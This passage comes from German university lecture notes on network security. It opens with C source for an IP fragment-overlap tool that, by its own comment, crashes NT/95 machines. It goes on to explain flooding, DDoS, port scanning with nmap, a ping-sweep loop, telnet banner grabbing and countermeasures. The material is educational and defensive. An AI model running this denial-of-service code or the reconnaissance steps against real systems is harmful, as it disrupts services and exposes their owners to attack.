p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
- Ping Flooding
Das Ping Flooding gehört zu Denial of Service-Attacks, die keine
Sicherheitslöcher ausnutzen. Pings werden benutzt, um die Erreichbarkeit
von anderen Hosts im Netz zu prüfen. Beim Ping Flooding wird ein Host
jedoch mit unzähligen Ping-Anfragen bombadiert, die der Host dann
natürlich alle bearbeitet (falls keine entsprechenden Mechanismen
die Abarbeitung von rasch wiederholenden Ping-Anfragen verhindert) und
entsprechend das eigene System und die Netzverbindung auslastet.
Ping Flooding ist einer der Denial of Service-Attacken, die richtig
teuer werden können: Wird eine Netzverbindung eines Hostes nämlich
nach dem erzeugten Datenaufkommen abgerechnet, können teilweise horrende
Summen entstehen.
- Service-Overloading
Einen ähnlichen Weg wie beim Message-Flooding gehen die
Service-Overloading-Attacks.
Allerdings werden hier gezielt Services angesprochen, die einen
Großteil der Rechnerresourcen aufzehren können. Dabei ist
hier nicht die Menge der Nachrichten ausschlaggebend, sondern es kann
hier unter Umständen sogar eine einzige Nachricht genügen.
Für einen solchen Angriff anfällig sind z. B. der
finger-Dienst, der auf den meisten Rechnern zur Verfügung steht.
Aber auch speziellere Dienste, wie etwa ein Datenbankserver, die
nicht genügend gesichert sind, kommen als Angriffspunkte in
Frage. Bei einem Datenbanksystem kann eine entsprechend formulierte
Abfrage (etwa ein Join über mehrere Tabellen) die
Systemresourcen bis an die Grenzen belasten.
- Angriff mit UDP: Packet Storm
UDP (User Datagram Protocol) ist nicht verbindungsorientiert und hat keine
Flusskontrolle, man kann daher ein Netz mit Paketen überfluten. Mit Hilfe
eines gefülschten UDP-Paketes kann man beispielsweise den "chargen"-Dienst
(Generieren eines Zeichenstroms für Testzwecke) eines Rechners mit dem
"echo"-Dienst (Alle empfangenen Zeichen zurückschicken) eines anderen Rechners
verbinden. Man schickt dazu ein UDP Paket, bei dem als Absender der Port des
"chargen"-Dienstes eingetragen ist, an den "echo"-Dienst (Spoofing). Der
"chargen"-Rechner sendet nun kontinuerlich Zeichen, die ebenso kontinuierlich vom
"echo"-Dienst beantwortet werden. Dadurch entsteht ein unglaublich hoher
Packetverkehr, der Server und Netzwerk außer Gefecht setzt.
- Distributed Denial-of-Service-Attacks (DDoS)
Diese Art von Denial-of-Service-Attacken sind genau genommen keine eigenen
Attackeverfahren, sondern beziehen sich auf den Angriffsweg. Im Gegensatz
zu einer einfachen Denial-of-Service-Attacke werden Distributed
Denial-of-Service-Attacken nicht nur über einen Angriffsrechner
gefahren, sondern gleichzeitig im Verbund mit mehreren Rechnern.
Zu diesem Zweck plaziert ein Angreifer ein sogenanntes Trojanisches Pferd
auf verschiedenen Rechnern im Internet, vornehmlich auf Rechner, die per
Standleitung und besonders breitbandig angebunden sind. Diese Plazierung
kann auch schon Monate vor eigentlichen Angriffen erfolgen. Wird nun ein
Angriff auf ein bestimmtes Opfer gestartet, erfolgen die Angriffe über
die Rechner, auf denen das trojanische Pferd installiert ist, gleichzeitig
und erzeugen in der Gesamtheit ein enormes Angriffsvolumen.
Ein DDoS Angriff besteht aus zwei Phasen. In Phase 1 beschafft sich ein Angreifer
mittels bekannter Schwachstellen Zugriff auf eine große Zahl von Systemen,
die später den eigentlichen DDoS-Angriff ausführen sollen. Der Angreifer
installiert dazu auf den "Angriffsrechnern" Programme, die zeitgesteuert oder auf
Kommando den einen DoS-Angriff gegen das gewünschte Ziel führen.
Beispiel: Tribe Flood Network:
Das TFN bietet die Möglichkeit, SYN, UDP und ICMP Angriffe zu führen.
Dazu stellt es eine Client-Server-Struktur bereit. Der Server wird auf einer Vielzahl
von Systemen installiert und kann dann vom Client aktiviert werden, um einen Angriff
zu starten. Da die Kommunikation mit dem Server nicht passwortgeschützt verläuft,
kann jeder einem installierten Server einen Angriff befehlen. Dazu muß man lediglich
wissen, auf welchen Rechnern der TFN-Server installiert ist. Dies lässt sich
leicht mittels Port-Scan oder im Internet kursierenden Listen herausfinden. Die eigentliche
Arbeit des Beschaffens von DDoS-Angriffsrechnern entfällt somit. Einen TFN-Angriff
kann jeder führen, der im Besitz des Client ist.
Die Bekämpfung von Distributed Denial-of-Service-Attacken ist extrem
schwierig. Bei einem akuten Angriff kann der Administrator des angegriffenen
Rechners lediglich die Datenflut von angreifenden Servern filtern, zum Beispiel
über eine Firewall, um so wenigstens die Server zu schützen. Das
Netz ist jedoch im Regelfalle trotzdem nicht erreichbar, da die Anbindung
selbst überlastet wird. Das folgende Bild zeigt, wie ein DDoS-Angriff
in der Verkehrsstatistik aussieht.
Hacker-Angriffe über Ports
Der erste Schritt eines Hackers, Portscans, verraten, welche Dienste auf einem
Rechner aktiv sind und geben so Hinweise auf Angriffspunkte.
Alle TCP/IP-Dienste benutzen Ports. Verbindungen werden stets zwischen einem Port
auf dem Quellrechner und einem Port auf dem Zielrechner hergestellt. Der
Ziel-Port identifiziert gleichzeitig die Art des Dienstes. Als "wellknown" Ports
sind beispielsweise 80 für WWW, 21 für FTP und 23 für Telnet festgelegt.
Portscanner durchsuchen einen oder mehrere Rechner nach erreichbaren Diensten.
Je nach Zweck des Portscans werden sowohl bekannte als auch unbekannte Ports
untersucht. Die Erkennung offener Ports bedeutet auch die Erkennung laufender
Services. Weiterhin kann man mit Portscannern Firewall-Konfigurationen testen oder
Betriebssysteme erkennen.
Es gibt sogar Methoden, einen Portscan durchzuführen, ohne die
eigene IP-Adresse preisgeben zu müssen:
- TCP Connect Scanning:
Hierbei wird eine gewöhnliche TCP-Verbindung geöffnet. Dazu sind keine besonderen
Vorkehrungen erforderlich. Die Systemfunktion liefert eine direkte Rückmeldung
über Erfolg oder Fehlschlag des Versuchs. Das geht sogar von Hand. Einfach eine
Telnet-Verbindung zum gewünschten Port aufmachen.
Der TCP-Connect-Scan ist der einzige TCP-Scan, der keine root-Rechte
benötigt. Zudem ist er sehr schnell. Er kann jedoch auch mit einfachen
Methoden erkannt werden, da ein kompletter Verbindungsaufbau durchgef"uhrt wird
und so die eigene IP-Adresse vom Gegenüber mitprotokolliert werden kann. Beispiel:
nmap -P0 -sT -p 79, 80 localhost
localhost -> localhost TCP 3721 > finger [SYN] Seq=108672 Ack=0 Win=16384 Len=0
localhost -> localhost TCP finger > 3721 [RST, ACK] Seq=0 Ack=108673 Win=0 Len=0
localhost -> localhost TCP 3722 > http [SYN] Seq=231337 Ack=0 Win=16384 Len=0
localhost -> localhost TCP http > 3722 [SYN, ACK] Seq=350423 Ack=231338 Win=57344 Len=0
localhost -> localhost TCP 3722 > http [ACK] Seq=231338 Ack=350424 Win=57344 Len=0
localhost -> localhost TCP 3722 > http [RST, ACK] Seq=231338 Ack=350424 Win=57344 Len=0
- TCP SYN Scanning:
Beim sogenannten "half open scan" wird nur das allererste Paket, ein SYN-Paket,
geschickt. Anhand der Antwort (SYN/ACK oder RST) läßt sich bereits erkennen, ob
der Port aktiv ist. Aktive Ports werden sofort wieder geschlossen (RST senden), so
daß die Gegenstelle kaum eine Gelegenheit hat, die eigene IP-Adresse festzustellen.
Beispiel:
nmap -P0 -sS -p 79, 80 localhost
localhost -> localhost TCP 50529 > finger [SYN] Seq=6275 Ack=0 Win=2048 Len=0
localhost -> localhost TCP finger > 50529 [RST, ACK] Seq=0 Ack=06276 Win=0 Len=0
localhost -> localhost TCP 50529 > http [SYN] Seq=6275 Ack=0 Win=2048 Len=0
localhost -> localhost TCP http > 50529 [SYN, ACK] Seq=564532 Ack=6276 Win=49152 Len=0
localhost -> localhost TCP 50529 > http [RST] Seq=6276 Ack=0 Win=0 Len=0
- TCP FIN Scanning:
Hier wird ein FIN-Paket an das jeweilige Port geschickt.
Das funktioniert teilweise sogar durch Firewalls hindurch. Bei den meisten
Rechnern antworten inaktive Ports mit einem RST (Reset), während aktive Ports
das FIN-Paket ignorieren. Windows hält sich allerdings nicht an diesen
Standard, so daß hier FIN-Scans fehlschlagen.
Beispiel:
nmap -P0 -sF -p 79, 80 localhost
localhost -> localhost TCP 49452 > finger [FIN] Seq=0 Ack=0 Win=3072 Len=0
localhost -> localhost TCP finger > 49452 [RST, ACK] Seq=0 Ack=0 Win=0 Len=0
localhost -> localhost TCP 49452 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0
localhost -> localhost TCP 49453 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0
Der XMAS-Scan ist eine Abwandlung des FIN-Scan. Zus"atzlich zum FIN sind die
Flags PSH und URG gesetzt.
- Ident-Scanning:
Der Ident-Dienst liefert eine zusätzliche Informationsebene über aktive
Ports, nämlich den Benutzernamen. Dieser ist für manche Angriffe wichtig, da
er verrät, welche Zugriffsrechte der Server-Dienst auf dem jeweiligen Port
besitzt.
- FTP Bounce Port Scanning:
Hier wird die eingebaute Proxy-Funktion von RFC-konformen FTP-Servern benutzt,
um die eigene Identität zu verstecken.
- UDP Port Scanning:
Dies ist schwieriger, da vom Protokoll her keine Antwort auf UDP-Pakete
vorgesehen ist. Viele Rechner liefern aber eine Rückmeldung mittels ICMP:
Die Antwort 'ICMP Port unreachable' deutet dann auf inaktive Ports hin. Beispiel:
nmap -P0 -sU -p 513, 514 localhost
localhost -> localhost WHO Source port: 33108 Destination port: who
localhost -> localhost ICMP Destination unreachable
localhost -> localhost UDP Source port: 33600 Destination port: syslog
localhost -> localhost UDP Source port: 33601 Destination port: syslog
Der UDP-write/recvfrom-Scan ist ein UDP-ICMP-Scan, der vollkommen ohne
root-Rechte durchgeführt werden kann. Die Schwierigkeit besteht darin,
zu erkennen, dass "ICMP port unreachable" gesendet wurde. Der UDP-write-Scan
basiert darauf, dass der Empfang des "ICMP port unreachable" durch das
Fehlschlagen eines zweiten write-Aufrufs angezeigt wird.
Die Grundlage des UDP-recvfrom-Scan ist, dass das Erhalten des "ICMP port
unreachable" bei einem recvfrom-Aufruf auf einen NONBLOCKING-Socket
durch das Setzen von ERRNO auf 111 (ECONNREFUSED) angezeigt wird.
- ICMP Echo Scanning:
Geht es lediglich darum, die Existenz fremder Rechner festzustellen, hilft ein
automatisches ping (siehe unten).
Wie erkennt man einen Portscan?
- In einer relativ kurzen Zeit wird eine größere Anzahl von Ports angesprochen.
- Das zuerst an einen Port gesendete Paket ist charakteristisch für Stealth-Scans.
- Ungewöhnlich hoher Anteil von ICMP-Port-Unreachable-Meldungen.
- Generell: "ungewöhnliche" Netzwerkaktivität.
Aufspüren mit netzwerkbasierten Intrusion Detection Systemen, durch Monitoring von
Logfiles, mit nmap, netstat, lsof, nessus. Zum Beispiel können mit Hilfe
von netstat aktive Verbindungen aufgelistet werden:
$ netstat
Aktive Internetverbindungen (ohne Server)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 www.ee.fhm.edu:www-http otdial-212-144-110:1090 VERBUNDEN
tcp 0 0 www.ee.fhm.edu:www-http otdial-212-144-110:1088 VERBUNDEN
tcp 0 0 www.ee.fhm.edu:www-http otdial-212-144-110:1094 VERBUNDEN
tcp 0 0 www.ee.fhm.edu:www-http otdial-212-144-110:1092 VERBUNDEN
tcp 0 0 www.ee.fhm.edu:www-http 212.123.104.2:61892 VERBUNDEN
tcp 0 0 www.ee.fhm.edu:www-http 212.123.104.2:61893 VERBUNDEN
tcp 1 47784 www.ee.fhm.edu:www-http niven.antares.de:44742 CLOSE_WAIT
tcp 0 6343 www.ee.fhm.edu:www-http niven.antares.de:44744 FIN_WAIT1
...
$ lsof | grep -v root
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
bash 22644 plate cwd DIR 8,17 2048 2049 /home/plate
bash 22644 plate rtd DIR 8,2 1024 2 /
bash 22644 plate txt REG 8,2 475348 57124 /bin/bash
bash 22644 plate mem REG 8,2 148968 63290 /lib/ld-2.0.7.so
bash 22644 plate mem REG 8,2 500910 63289 /lib/libncurses.so.4.2
bash 22644 plate mem REG 8,2 65006 63296 /lib/libdl.so.2
bash 22644 plate mem REG 8,2 2475225 63293 /lib/libc.so.6
bash 22644 plate mem REG 8,2 113110 63299 /lib/libnss_compat.so.1
bash 22644 plate mem REG 8,2 106544 63298 /lib/libnsl.so.1
bash 22644 plate mem REG 8,2 167648 63302 /lib/libnss_files.so.1
bash 22644 plate 0u CHR 3,0 3493 /dev/ttyp0
bash 22644 plate 1u CHR 3,0 3493 /dev/ttyp0
bash 22644 plate 2u CHR 3,0 3493 /dev/ttyp0
bash 22644 plate 255u CHR 3,0 3493 /dev/ttyp0
...
Es gibt zwei verschiedene Arten von Portscan-Erkennungsprogrammen:
- Der Portscan-Detector nistet sich auf bestimmten Ports ein und
registriert Verbindungsversuche. Diese Methode benötigt keine root-Rechte
und ist Ressourcen schonend.SIe ist jedoch durch Stealth-Scans einfach zu umgehen
und das System stößt schnell an die Grenze der maximal offenen Dateien
- Der Portscan-Detector snifft den gesamten Netzwerkverkehr auf einem
Device mit und registriert verdächtige Pakete. Dieses Verfahren ist schwer
zu umgehen aber Ressourcen fressend.
Eine Umgehung des Erkennungsmechanismus ist trotzdem möglich, z. B. durch stark
fragmentierte Pakete (selbst die Header sind fragmentiert) oder durch Umgehung des
Loggingmechanismus mittels Log-Floodging (Massen-Scans). Bekannte
Scan-Erkennungsprogramme sind "Scanlogd" (http://www.openwall.com/scanlogd/)
"Snort-Portscan-Preprocessor" (http://www.snort.org/) oder "Portsentry"
(http://www.psionic.com/abacus/portsentry/).
Security im Application Layer
Der Application Layer bietet viele Möglichkeiten für Angreifer
in ein (geschütztes) Netzwerk einzudringen. Die Sicherheitsprobleme hier
sind sehr vielfältig und von den einzelnen Applikationen abhängig.
Oft lassen sich Sicherheitslücken auf Fehler in Konzeption
und Implementation der Applikationen zurückführen. Allerdings kann
auch eine falsche oder ungenügende Konfiguration einer Applikation einem
Angreifer Tür und Tor öffnen. In diese Gruppe gehören Viren und
Trojanische Pferde.
Auf dieser Ebene kann ein Angreifer auch versuchen, allgemeine Informationen
über seine 'Opfer' einzuholen. Eine erst Möglichkeit ist das Abscannen
eines Netzes auf 'aktive' IP-Adressen, d. h. IP-Adressen, unter denen ein
Rechner ansprechbar ist. Dazu genügt das ping-Kommando. Ein kleines
Shell-Skript erledigt die Arbeit in Sekunden (unter Solaris liefert ping
als Default nur 'xxx is alive.' oder 'xxx unreachable.'. Gegebenenfalls
ist ping mit geeigneten Parametern zu versehen):
for VICTIM in `seq 1 254`
do
ping 192.168.1.$VICTIM
done
Jetzt kennt der Angreifer alle in Frage kommenden Opfer (auch wenn sie keinen
Nameservereintrag besitzen). Die nächste Stufe könnte der Einsatz
eines Portscannes sein. Oder man sucht mal nach Benutzern auf dem Rechner.
Das geht mit dem finger-Kommando.
Das finger-Kommando erlaubt es, Informationen über
Benutzer zu erlangen, weshalb es aus Gründen des
Datenschutzes oft auch gesperrt wird. Mit dem Kommando
'finger user@host' kann man sich über einen bestimmten
Benutzer informieren. Die Ausgabe sieht beispielsweise
folgendermaßen aus:
Login: plate Name: Juergen Plate
Directory: /home/plate Shell: /bin/sh
No unread mail.
On since Sun Nov 20 19:36 (MET) on ttyp3
No Plan.
Die Informationen werden einigen Standarddateien des
Rechners entnommen.
Eine weitere Möglichkeit bietet das 'fingern' eines anderen Hostrechners.
Man erhält dann Information darüber, welche Benutzer eingeloggt sind.
Zusammen mit einer Nameserveranfrage erhält man dann schon eine Liste von
Mailadressen für Spam und eine Liste von Usernamen zum Angriff auf die
einzelnen Accounts.
Nun sehen wir auf den offenen Ports mal nach, welche Version die Server-Dienste
haben. Ist der Administrator nachlässig, findet sich vielleicht Software,
für die schon eine Sicherheitslücke veröffentlicht wurde. Mit
viel Glück findet ein Scriptkiddie sogar noch ein "Exploit",
ein Programm, das die Sicherheitslücke demonstriert.
Das Ausspähen der Server-Dienste erfolgt einfach per Telnet auf die
entsprechenden Ports. Das folgende Beispiel zeigt eine Untersuchung der
Ports 23 (Telnet), 25 (Mail), 21 (FTP) und 80 (HTTP). Die Eingabe sind
fett wiedergegeben:
plate@multimedia:~ > telnet victim 23
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
Connection closed by foreign host.
Der Telnet-Port ist also offen.
plate@multimedia:~ > telnet victim 25
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
220 victim.e-technik.fh-muenchen.de ESMTP Sendmail 8.9.3/8.9.3; Mon,
8 Jul 2002 08:01:14 +0200
quit
221 victim.e-technik.fh-muenchen.de closing connection
Connection closed by foreign host.
Auf dem Opfer läft also Sendmail, Version 8.9.3. Der ist nicht mehr ganz neu!
plate@multimedia:~ > telnet victim 21
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
220- Youre welcome on the FTP - Server
220- victim.e-technik.fh-muenchen.de
220-
220- Please try 'ftp' for anonymous login
220-
220 victim.e-technik.fh-muenchen.de FTP server (Version wu-2.4.2-academ[BETA-18]
(1) Sun Apr 4 23:07:17 /etc/localtime 1999) ready.
quit
221 Goodbye.
Connection closed by foreign host.
Das läuft der Wu-FTP-Server, Version 2.4.2, der auch nicht mehr ganz neu
ist. Außerdem sollte man es mal mit anonymem FTP probieren.
plate@multimedia:~ > telnet victim 80
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
GET /index.html HTTP/1.0
accept: */*
HTTP/1.1 200 O.K.
Date: Mon, 08 Jul 2002 06:02:39 GMT
Server: mod_perl/1.18 Apache/1.3.4 (Unix) (SuSE/Linux) PHP/3.0.7
Connection: close
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
...
Connection closed by foreign host.
Hier erfahren wir sehr viel. Der Apache-Server mit der Version 1.3.4 ist auch
nicht der jüngste. Zudem wird uns mitgeteilt, daß es sich um das
Betriebssystem Linux handelt (Distribution von SuSE). An den Versionsnummern des
Perl- und PHP-Moduls könnte man sogar die Version der Distribution ermitteln.
Wenn man jetzt weitere Ports abklappert (POP3, IMAP, Finger, usw.) und die
CERT-Advisories durchsieht, findet man sicher etliche Angriffspunkte auf das
System.
Der whois-Dienst liefert Informationen über Netzteilnehmer, sofern sich
diese bei einem Whois-Server haben registrieren lassen. Das kann man
über ein Formular, netinfo/user-template.txt auf nic.ddn.mil, machen,
das dann an registar@nic.ddn.mil geschickt wird). Das Kommando lautet:
whois Namensangabe
wenn der voreingestellte Server verwendet wird. Mit Serverangabe lautet
das Kommando:
whois -h Serverrechner Namensangabe
Man erhält dann alle Angaben aus der Datenbank, die zur Namensangabe
passen. Als Namensangabe kann entweder ein Userpseudonym (Login-Name)
oder der "echte" Name, eventuell als 'Nachname, Vorname', angegeben
werden. Bei grafischen Benutzerschnittstellen erfolgt die Parameterangabe
über Dialogfelder und nicht in der Kommandozeile.
Als Whois-Server können Sie '
whois.nic.de' oder '
whois.internic.net'
angeben.
Durch die Angabe '
do Rechnerdomain' können Infos über die entsprechende
Domain eingeholt werden. Ebenso kann man sich mit '
host Rechnername'
über einzelne Computer oder mit '
net Netzwerknummer' über Netze
informieren.
Fehlt das Whois-Kommando, öffnet man eine Telnet-Verbindung zu
nic.ddn.mil
und gibt '
whois' nach dem Prompt ein. Auf den Prompt '
Whois:' hin
kann man interaktive Anfragen absetzen (z. B. das 'help'-Kommando).
Über das Common Gateway Interface, also über CGI-Scripts, können Attacken
gestartet werden. Normalerweise erlaubt ein CGI-Script dem Benutzer einer Website,
interaktive Prozesse vom Browser auszulösen, z. B. auf eine Datenbank zuzugreifen
oder ein Formular vom Server auswerten zu lassen.
Die Sicherheitslücken bei CGI-Programmen entstehen durch Fehlkonfiguration der
Serversoftware und durch Fehler im Script selbst. Dazu ist
es nicht notwendig, daß das Script von Haus aus dazu angelegt ist Schaden anzurichten.
Oft reicht eine fehlende Sicherheitsabfrage, die unabsichtlich oder aus
Bequemlichkeit nicht eingebaut wurde. Deshalb sollten bei CGI-Programmen grundsätzlich
alle Eingaben als "böse" betrachtet werden. Zu bedenken ist auch, daß
der Angreifer nicht unbedingt das entworfene Formular ausfüllen muß. Er kann seine
Eingaben für das CGI-Programm auch direkt in der URL-Zeile des Browsers tätigen.
Ein weiterer Angriffspunkt ist die die Speicherung unerwünschter Daten auf dem
Server. Dazu ein Beispiel: Viele Webseiten bieten Gästebücher
an, in die jeder etwas eintragen kann. Der Hacker trägt neben "normalem" Text
auch HTML-Code, z. B. eine URL, ein Javascript-Programm oder eine Referenz auf
ein Active-X-Control ein. Leser des Gästebuches erleiden durch diese Teile der
Seite Schaden - oder werden auch nur beleidigt. Es gab den Fall, daß irgendwelche
"Spaßvögel" im Gästebuch von McDonalds Links auf Porno-Sites hinterlassen
haben.
Um auch bei Fehlern in den Skripts möglichst wenig Angriffsfläche zu bieten, darf
der WWW-Server nur unter einer Benutzerkennung mit möglichst wenig Rechten laufen
(z. B. "nobody"). Auch die CGI-Programme dürfen nur unter geringen Rechten laufen,
niemals als Root-Programme. Alle CGI-Scripte gehören in ein spezielles Verzeichnis,
etwa "serverhost/cgi-bin", in das nichts anderes kommt.
Auf Gefahren, die speziell die Anwenderseite betreffen, wird in
Kapitel 7 eingegangen.
Überblick Bedrohungen/Gegenmaßnahmen
| | Bedrohung | Angriff | Maßnahme |
| ICMP |
Eindringen, Denial-of-Service |
Redirect, TTL-Exceeded, Destination Unreachable, Ping-of-Death |
Authentisierung, Filtern, auf Router abweisen, Overflow abfangen |
| TCP |
Eindringen, Maskerade, Denial-of-Service |
Hijacking, Asynchrone State, IP-Spoofing, SYN-Flooding |
Übernahme privilegierter Rechte verhindern, Überwachung,
Verschlüsselung, Authentisierung,Signatur, IP-Spoofing verhindern |
| UDP |
Eindringen, Maskerade, Denial-of-Service |
UDP-Spoofing, Flooding, echo, Ausnutzen privilegierter Ports |
Schutz auf Applikationsebene, chargen und echo filtern,
Antworten auf echo filtern, Portnummern kleiner 1024 filtern |
| DNS |
Maskerade, Denial-of-Service |
IP-Spoofing, Sniffing, Penetration des DNS-Caches |
Splitten der DNS-Server, Inverse DNS-Anfragen filtern, IP-Spoofing verhindern |
| ARP |
Maskerade, Umleiten |
Fälschen von ARP-Antworten |
ARP-Tabellen fixieren, ARP-Request auf Firewalls abblocken |
| RIP |
Maskerade, Umleiten |
Loose-Source-Routing, RIP-Spoofing |
Filtern von Loose-Source-Routing-Paketen, Statisches Routen |
| SNMP |
Maskerade, Eindringen |
Abhören der Community-Strings |
Filtern, Verschlüsselung, nicht über Firewall zulassen |
| NIS/NIS+ |
Maskerade, Eindringen |
Umleiten, Dateidiebstahl, Brute-Force-Attacke |
Filtern, starke Authentisierung nicht über Firewall zulassen |
| FTP |
Maskerade, Eindringen, Manipulation, Informationsdiebstahl |
FTP-Hijacking, cwd, cdup, retr, stor, dele, list, nlist, site, syst, port
Anonymous FTP
| Filtern, Rechteverwaltung, port durch pasv ersetzen,
Zugriff nur auf ausgewählte Daten erlauben |
Zum vorhergehenden Abschnitt
Zum Inhaltsverzeichnis
Zum nächsten Abschnitt
Copyright © FH München, FB 04, Prof. Jürgen Plate
Letzte Aktualisierung: 23. Jun 2005